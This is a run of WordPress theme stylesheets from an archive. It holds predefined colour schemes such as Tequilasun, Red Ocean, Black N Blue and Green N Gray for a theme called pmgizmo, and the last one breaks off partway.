.stickynav {
	background: #39552f;
	border-top: 1px solid #293b23;
	border-bottom: 1px solid #293b23;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #6f541e;
    background: #cc9933 -webkit-gradient(linear, left top, left bottom, from(#6f541e), to(#cc9933)) no-repeat;
    background: #cc9933 -moz-linear-gradient(top, #6f541e, #cc9933) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#6f541e, endColorstr=#cc9933) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#6f541e, endColorstr=#6f541e)" no-repeat;
}
.header-line {
	border-top: 15px solid #4c3913;
	border-bottom: 1px solid #927337;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #39552f;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #8c9ca7;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #39552f;
	border: 1px solid #263620;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	background-color: #39552f;
	border-top: 5px solid #cc9933;
}
#footer-widgets .widget {
    background: #eeecb9;
    border: 5px solid #cc9933;
}
#footer-widgets .widgettitle {
    background: #39552f;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #914069;
	background-color: #442821;
}
/* LOL to Top */
.scrollToTop {
    background: #898421;
    border: 4px solid #6b6716;
}
.scrollToTop:hover {
    background: #4e2f28;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #084c92;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #213158;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #442821;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/tequilasun.css000064400000013140152223213640013244 0ustar00/*
Predefined Colors
Theme: Tequilasun
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #1079c9;
}
/* Body */
body {
    background-color: #dee5e9;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #027fc1;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #003c86;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #0572ab;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #003c86;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #001936;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #864a00;
}
/* Search */
.search-form-top {
    background-color: #027fc1;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #003c86;
}
/* Main Navigation */
#navi-wrap {
	background: #003c86;
	border-top: none;
	border-bottom: 4px solid #aeb6ba;
}
.natty #navi-wrap {
	background: #003c86;
	border-top: 3px solid #027fc1;
	border-bottom: 3px solid #027fc1;
}
.stickynav {
	background: #003c86;
	border-top: 2px solid #0c4a95;
	border-bottom: 2px solid #0c4a95;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #1567ca;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #001936;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #864a00;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
#header #navi-wrap .nav-menu li a:hover,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:hover:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:hover:after {
	background-color: #1567ca;
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #9b3600;
    background: #feb100 -webkit-gradient(linear, left top, left bottom, from(#9b3600), to(#feb100)) no-repeat;
    background: #feb100 -moz-linear-gradient(top, #9b3600, #feb100) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#9b3600, endColorstr=#feb100) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#9b3600, endColorstr=#feb100)" no-repeat;
}
.natty #header-wrap {
	border-top: 1px solid #b3450a;
}
.header-line {
	border-top: 15px solid #431803;
	border-bottom: 1px solid #ba5d00;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before {
	background: #003c86;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #5b8ba5;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #003c86;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
	background: #003c86;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #025a89;
	border-top: 5px solid #2394CF;
}
#footer-widgets .widget {
    background: #eae3d8;
    border: 5px solid #2394CF;
}
#footer-widgets .widgettitle {
    background: #004063;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #0e4664;
	background: #00273C;
}
/* LOL to Top */
.scrollToTop {
    background: #193761;
}
.scrollToTop:hover {
    background: #1079c9;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #003c86;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #1567ca;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #001936;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #027fc1;
	}
	.wide-header #content-wrap {
		border: 0;
		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #003c86;
	}
}pmgizmo/css/styles/redocean.css000064400000010610152223213640012631 0ustar00/*
Predefined Colors
Theme: Red Ocean
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #026973;
}
/* Body */
body {
    background-color: #dad1d1;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #664233;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #5a382a;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #5a382a;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: rgba(255,255,255,0.15);
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #213158;
	border: 2px solid #5584f7;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #c62775;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #5584f7;
}
/* Search */
.search-form-top {
    background-color: #664233;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #cc333f;
}
/* Main Navigation */
#navi-wrap {
	background: #cc333f;
	border-bottom: 3px solid #eb6841;
}
.natty #navi-wrap {
	background: #cc333f;
	border-top: 1px solid #eb6841;
	border-bottom: 1px solid #eb6841;
}
.stickynav {
	background: #cc333f;
	border-top: 1px solid #983038;
	border-bottom: 1px solid #983038;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #026069;
    background: #00a0b0 -webkit-gradient(linear, left top, left bottom, from(#026069), to(#00a0b0)) no-repeat;
    background: #00a0b0 -moz-linear-gradient(top, #026069, #00a0b0) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#026069, endColorstr=#00a0b0) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#026069, endColorstr=#026069)" no-repeat;
}
.header-line {
	border-top: 15px solid #064d54;
	border-bottom: 1px solid #187983;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #cc333f;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #8c9ca7;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #664233;
	border: 1px solid #121212;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	background-color: #cc333f;
	border-top: 5px solid #eb6841;
}
#footer-widgets .widget {
    background: #f1e8cb;
    border: 5px solid #eb6841;
}
#footer-widgets .widgettitle {
    background: #6a4a3c;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #815e4f;
	background-color: #2f2019;
}
/* LOL to Top */
.scrollToTop {
    background: #664233;
    border: 4px solid #3c3c3c;
}
.scrollToTop:hover {
    background: #026973;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #084c92;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #213158;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #5a382a;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/blacknblue.css000064400000010625152223213640013161 0ustar00/*
Predefined Colors
Theme: Black N Blue
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #1079c9;
	text-decoration: underline;
}
/* Body */
body {
    background-color: #c5d0d6;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #555;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #333;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #0a2a51;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: #a01203;
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #001228;
	border: 2px solid #303030;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #a01203;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #303030;
}
/* Search */
.search-form-top {
    background-color: #01162f;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #d00a0a;
}
/* Main Navigation */
#navi-wrap {
	background: #333;
	border-bottom: 4px solid #777;
}
.natty #navi-wrap {
	background: #d00a0a;
	border-top: 3px solid #01162f;
	border-bottom: 3px solid #01162f;
}
.stickynav {
	background: #333;
	border-top: 2px solid #444;
	border-bottom: 2px solid #444;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #024b90;
    background: #5dcdf5 -webkit-gradient(linear, left top, left bottom, from(#024b90), to(#5dcdf5)) no-repeat;
    background: #5dcdf5 -moz-linear-gradient(top, #024b90, #5dcdf5) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#024b90, endColorstr=#5dcdf5) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#024b90, endColorstr=#024b90)" no-repeat;
}
.header-line {
	border-top: 15px solid #014074;
	border-bottom: 1px solid #286db9;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #a01203;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #f7f7f7;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #5998c8;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #333;
	border: 1px solid #222;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	background-color: #444;
	border-top: 5px solid #555;
}
#footer-widgets .widget {
    background: #eee;
    border: 5px solid #555;
}
#footer-widgets .widgettitle {
    background: #333;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #444;
}
/* Footer */
#footer {
    border-top: 1px solid #555;
	background-color: #222;
}
/* LOL to Top */
.scrollToTop {
    background: #333;
    border: 4px solid #010e1f;
}
.scrollToTop:hover {
    background: #1079c9;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #7e0909;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #021935;
}
#header-banner .widget {
	padding: 0;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #01162f;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/black.css000064400000011636152223213640012136 0ustar00/*
Predefined Colors
Theme: Black
*/
/* Links */
a:hover, a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
    color: #3B5998;
}
.entry p a:link,
.entry p a:visited {
    color: #3B5998;
    text-decoration: none;
}
.entry p a:hover {
    color: #3B5998;
    text-decoration: underline;
}
.post-title a:link,
.post-title a:visited {
    color: #444;
}
.post-title a:hover {
    color: #3B5998;
}
.page-title,
.post-title {
    color: #3c3c3c;
}
/* Body */
body {
    background-color: #E3E3E3;
}
/* Header */
#header-wrap,
.natty #header-wrap {
    background: #fff;
}
.header-line {
    border-top: 15px solid #121212;
    border-bottom: 1px solid #000;
}
.natty .header-line {
    border-top: none;
    border-bottom: none;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before {
    background: #B23600;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
    color: #333;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
    background: #2f2f2f;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
    background: #121212;
}
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
    background: #3b3b3b;
}
#topnav-menu a:hover,
#topnav-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before {
    color: #fff;
    background: #3B5998;
}
#topnav-menu .current_page_item:hover,
#topnav-menu .current-menu-item:hover,
.natty #topnav-menu .current_page_item:hover,
.natty #topnav-menu .current-menu-item:hover {
    color: #fff;
    background: #3B5998;
}
#topnav-menu .children,
#topnav-menu .sub-menu {
    background-color: #3d3d3d;
}
#topnav-menu {
    margin-left: 0;
}
/* Search */
.search-form-top {
    background-color: #fff;
}
/* Main Navigation */
#navi-wrap {
    background: #121212;
    border-top: none;
    border-bottom: 2px solid #333;
}
.stickynav,
.natty #navi-wrap {
    background: #121212;
    border-top: 2px solid #333;
    border-bottom: 2px solid #333;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
    background-color: #3B5998;
    color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
    background-color: #3d3d3d;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
    background-color: #002e8d;
}
/* Content */
.wide-header #content-wrap {
    border: 1px solid #acb3b4;
    margin:0.6em auto 0.95em;
    box-shadow: none;
}
/* Sidebar */
#frontpage-magazine-widgets .widget .widgettitle,
#sidebar .widgettitle,
.widget-tabnavi {
    background: #121212;
}
.widgettitle {
    font-size: 0.95em;
    padding: 0.65em;
    text-transform: uppercase;
}
#sidebar .widget {
    border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
    border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
    padding: 2px;
    max-width: 55px;
    border: 1px solid #ddd;
}
.entry .more-link:hover {
    background-color: #0066cc;
}
.search-form .search-submit,
#commentform #submit {
    background: #121212;
}
.search-form .search-submit:hover,
#commentform #submit:hover {
    background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
    background: #3c3c3c;
    border-top: 0.5em solid rgba(0, 0, 0, 0.2);
}
#footer-widgets .widget {
    background: #555;
    border: 0.4em solid rgba(0, 0, 0, 0.2);
}
#footer-widgets .widgettitle {
    background: #444;
    padding: 0.55em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(255, 255, 255, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #f9f9f9;
}
/* Footer */
#footer {
    border-top: 1px solid #3e3e3e;
    background: #0f0f0f;
}
/* LOL to Top */
.scrollToTop {
    background: #3d3d3d;
}
.scrollToTop:hover {
    background: #3B5998;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
    #header #navi-wrap {
        border: none;
    }
    .toggled-on .nav-menu > li a:hover,
    .toggled-on .nav-menu > ul a:hover {
        background-color: #121212;
        color: #fff;
    }
    .toggled-on .nav-menu .sub-menu,
    .toggled-on .nav-menu .children {
        background-color: #3d3d3d;
    }
    #topnav-menu .current_page_item,
    #topnav-menu .current-menu-item {
        background: #444;
    }
    .wide-header #content-wrap {
        border: 0;
        margin:0 auto;
    }
    #sidebar {
        clear: both;
        margin: 1em 0 0;
        padding:1em;
        width: 100%;
    }
}pmgizmo/css/styles/teblugre.css000064400000010765152223213640012675 0ustar00/*
Theme Name: Teblugre
Description: A Child theme for the Cashback WordPress theme.
Version: 1.0.0
Theme URI: https://pmthemes.com/pmcashback/
Author: PMThemes
Author URI: https://pmthemes.com/
Template: pmcashback
Text Domain: pmteblugre
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #1079c9;
}
/* Body */
body {
    background-color: #d1deee;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #2E63B3;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #295ca8;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #295ca8;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: rgba(255,255,255,0.15);
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #213158;
	border: 2px solid #5584f7;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #c62775;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #5584f7;
}
/* Search */
.search-form-top {
    background-color: #2E63B3;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #0a8b53;
}
/* Main Navigation */
#navi-wrap {
	background: #0a8b53;
}
.natty #navi-wrap {
	background: #0a8b53;
}
.stickynav {
	background: #0a8b53;
	border-top: 1px solid #057444;
	border-bottom: 1px solid #057444;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #01585F;
    background: #2FDDED -webkit-gradient(linear, left top, left bottom, from(#01585F), to(#2FDDED)) no-repeat;
    background: #2FDDED -moz-linear-gradient(top, #01585F, #2FDDED) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#01585F, endColorstr=#2FDDED) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#01585F, endColorstr=#01585F)" no-repeat;
}
.header-line {
    border-bottom: 1px solid #1C6C73;
    border-top: 15px solid #004E55;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #6699ff;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #8c9ca7;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #2E63B3;
	border: 1px solid #121212;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	background-color: #193761;
	border-top: 5px solid #6988b2;
}
#footer-widgets .widget {
    background: #eae3d8;
    border: 5px solid #6988b2;
}
#footer-widgets .widgettitle {
    background: #01162f;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #2f5282;
	background-color: #010e1f;
}
/* LOL to Top */
.scrollToTop {
    background: #193761;
    border: 4px solid #010e1f;
}
.scrollToTop:hover {
    background: #1079c9;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #084c92;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #213158;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #295ca8;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/greengray.css000064400000010610152223213640013034 0ustar00/*
Predefined Colors
Theme: Green N Gray
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #2a6863;
}
/* Body */
body {
    background-color: #e3eaf1;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #556270;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #4c5967;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #4c5967;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: rgba(255,255,255,0.15);
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #213158;
	border: 2px solid #5584f7;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #c62775;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #5584f7;
}
/* Search */
.search-form-top {
    background-color: #556270;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #2D3B4A;
}
/* Main Navigation */
#navi-wrap {
	background: #2D3B4A;
	border-bottom: 2px solid #4f6071;
}
.natty #navi-wrap {
	background: #2D3B4A;
	border-top: 1px solid #4f6071;
	border-bottom: 1px solid #4f6071;
}
.stickynav {
	background: #2D3B4A;
	border-top: 1px solid #202b37;
	border-bottom: 1px solid #202b37;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #34706c;
    background: #4ecdc4 -webkit-gradient(linear, left top, left bottom, from(#34706c), to(#4ecdc4)) no-repeat;
    background: #4ecdc4 -moz-linear-gradient(top, #34706c, #4ecdc4) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#34706c, endColorstr=#4ecdc4) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#34706c, endColorstr=#34706c)" no-repeat;
}
.header-line {
	border-top: 15px solid #2a5451;
	border-bottom: 1px solid #4b8a86;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #2D3B4A;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #8c9ca7;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #556270;
	border: 1px solid #121212;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	background-color: #2e6965;
	border-top: 5px solid #4dc9c0;
}
